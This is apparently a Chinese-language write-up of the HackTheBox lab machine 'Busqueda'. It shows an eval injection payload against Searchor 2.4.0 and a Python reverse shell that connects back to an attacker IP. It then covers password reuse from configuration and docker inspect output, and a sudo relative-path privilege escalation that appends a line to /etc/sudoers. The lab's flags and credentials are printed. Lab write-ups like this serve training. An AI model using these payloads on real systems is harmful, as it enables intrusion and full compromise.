Busqueda_easy

Busqueda_easy

img

信息收集

1
2
3
4
5
6
7
8
9
10
namp:
--min-rate 10000 10000速率来扫描
-p- 全端口
-p80,135 指定80,135端口扫描
-sU 指定udp扫描
-sT 指定tcp协议
-sV 扫描服务版本
-sC 默认脚本扫描
-O 对操作系统和版本探测
--script=vuln 进行基础漏洞扫描

可知靶机开启22端口和80端口

img

尝试访问80端口 发现跳转至http://searcher.htb/

img

修改hosts文件 vim /etc/hosts

img

漏洞探测

22端口为ssh服务 顺手爆破一下,万一弱口令呢

img

测试功能点,看到框就想SQL注入一下

img

img

注入无果,猜测 ' 为某种闭合导致语句无法正常执行,再次尝试 '+'正常回显,证明猜测

img

此时语句应为 query='11'+''

这里有个版权信息指向https://github.com/ArjunSharda/Searchor

img

Searchor 2.4.0版本。在github中查看历史版本发现2.4.2中修复了一个漏洞 跟进查看一下

img

2.4.2版本去除了eval的使用 修复了远程命令执行漏洞

img

下载2.4.0版本源码 发现在src/searchor/main.py调用了eval

img

它可以提供使用以下函数执行任意代码的能力:

1
2
3
__import__('os').system('<CMD>')

__import__('os').popen('<CMD>').read()

payload就应为'+__import__("os").system("ls")+'

img

漏洞利用

反弹shell

1
11'+__import__("os").system("python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.3\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'")+'

img

img

权限提升

查看家目录 在家目录下发现user.txt 为第一个flag 175509029a5543355630a64433c10791

img

翻翻文件看看,找到git账号密码 cody:jh1usoih2bkjaspwe92

img

尝试访问 http://gitea.searcher.htb/ 无法访问 修改hosts后成功

img

使用cody账号登录gitea系统,尝试administrator使用同密码登录失败

img

对比了一下这个仓库和/var/www/app中文件,可能cody即为svc

img尝试使用此密码登录ssh,svc:jh1usoih2bkjaspwe92

sudo -l 命令用于列出当前用户在 sudoers 文件中被授权执行的命令以及使用哪些参数和选项。如果当前用户没有 root 权限,这个命令可以让用户查看自己可以执行哪些以 root 权限执行的命令,从而帮助用户理解他们的权限。如果用户有足够的特权,它也可以用于更改 sudoers 文件或添加新的授权。

img

跟进一下system-checkup.py文件,发现只有执行权限

img

运行一下system-checkup.py

1
2
3
4
5
6
7
sudo /usr/bin/python3 /opt/scripts/system-checkup.py -h

docker-ps:列出正在运行的docker容器

docker-inspect:检查某个docker容器

full-checkup:执行全系统检查

img

都执行一次查看

1
2
3
4
5
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

img

docker-ps 列出一个gitea容器和一个mysql容器

docker-inspect 提示要跟两个参数

full-checkup 对容器体检

掏出GPT

img

img

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a

img

在配置文件中找到两个密码

jI86kGUuj87guWr3RyF

yuiu1hoiu4i5ho1uh

碰碰运气试试密码,只有gitea使用 administrator:yuiu1hoiu4i5ho1uh 登录成功

img

回到system-checkup.py文件

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()

return output


def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))

except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)

except Exception as e:
print('Something went wrong')
exit(1)

elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))

except:
print('Something went wrong')
exit(1)

elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)


if __name__ == '__main__':

try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError

except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)

在full-checkup处

1
2
3
4
5
6
7
8
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)

这部分代码定义了’full-checkup’操作的处理逻辑。它尝试执行名为’full-checkup.sh’的脚本,并将输出打印到终端。如果执行过程中发生错误,它会打印出”Something went wrong”的错误消息,并退出脚本执行。如果一切顺利,它会打印”[+] Done!”作为完成的提示消息。

但是此处 full-checkup.sh 没有使用绝对路径路径,意味着可以在其他目录创建此文件并执行。

切换tmp目录 不出意外执行错误,证明猜想

img

1
2
3
4
5
touch full-checkup.sh 		 #创建 full-checkup.sh 文件
echo '#!/bin/bash' >> full-checkup.sh #追加内容
echo 'echo "svc ALL=(ALL:ALL) ALL" >> /etc/sudoers' >> full-checkup.sh #追加内容
chmod 777 full-checkup.sh #赋予权限
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup #执行

img

img

提权为root,查看家目录获取第二个flag 1c4bb1d71ccdf756979b6d7c4aafb3e9

img